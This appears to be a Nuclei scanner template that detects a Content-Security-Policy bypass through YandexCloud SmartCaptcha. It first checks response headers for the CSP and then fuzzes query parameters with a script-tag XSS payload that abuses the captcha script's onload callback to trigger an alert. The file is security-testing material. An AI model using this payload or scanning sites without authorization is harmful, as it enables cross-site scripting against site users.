yandexcloud-smartcaptcha-csp-bypass: Content-Security-Policy Bypass - YandexCloud SmartCaptcha

id: yandexcloud-smartcaptcha-csp-bypass

info:
  name: Content-Security-Policy Bypass - YandexCloud SmartCaptcha
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,yandexcloud-smartcaptcha,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "yandexcloud.net"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: yandexcloud_smartcaptcha_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://smartcaptcha.yandexcloud.net/captcha.js?render=onload&onload=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "yandexcloud_smartcaptcha_csp_xss == true"
# digest: 4b0a00483046022100bef8c2218d5be5dd7bde364403dac6a249bc88655bf6fd1807b79b27f9e17788022100d5132299c9cf9eb3ab2188eeb67ec2bf21da6166deda304183c10bf5e24b0ce1:922c64590222798bb761d5b6d8e72950